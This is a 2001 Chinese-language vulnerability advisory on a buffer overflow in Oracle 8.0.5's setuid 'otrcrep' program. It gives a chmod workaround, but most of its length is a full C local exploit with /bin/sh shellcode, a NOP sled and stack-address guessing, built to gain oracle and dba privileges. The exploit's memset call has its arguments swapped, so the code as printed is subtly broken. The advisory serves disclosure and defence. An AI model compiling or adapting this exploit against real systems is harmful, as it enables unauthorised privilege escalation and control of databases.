oracle ‘otrcrep’缓冲区溢出漏洞
发布日期:2001-08-02
更新日期:2001-08-03
受影响系统:
Oracle 8.0.5
描述:
Oracle 8.0.5所带的'otrcrep'程序缺省设置了setuid oracle属性。这个程序在处理命令
行参数时没有进行有效的边界检查,攻击者可以引发一个缓冲区溢出。通过覆盖内存中的
敏感数据,攻击者可以获取oracle用户以及dba组的权限。
攻击者可能进一步获取对数据库的控制权限。
<*来源:Juan Manuel Pascual (
pask@plazasite.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Juan Manuel Pascual (
pask@plazasite.com)提供了如下测试代码:
/* cc -o evolut otrcrep.c; ./evolut 300 0 */
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 300
#define OFFSET 0
#define NOP 0x90
#define BINARY "/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG"
#define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5"
char shellcode[] =
"\xeb\x1d"
"\x5e"
"\x29\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\x89\x76\x08"
"\xb0\x0b"
"\x87\xf3"
"\x8d\x4b\x08"
"\x8d\x53\x0c"
"\xcd\x80"
"\x29\xc0"
"\x40"
"\xcd\x80"
"\xe8\xde\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
/* void main(int argc, char *argv[]) { */
void main() {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() -1420 -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",ORACLE_HOME,1);
setenv("EGG",buff,1);
system(BINARY);
}
建议:
临时解决方法:
去掉otrcrep的suid属性:
# chmod a-s <oracle所在目录>/bin/otrcrep
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.oracle.com/
浏览次数:4562
严重程度:0(网友投票)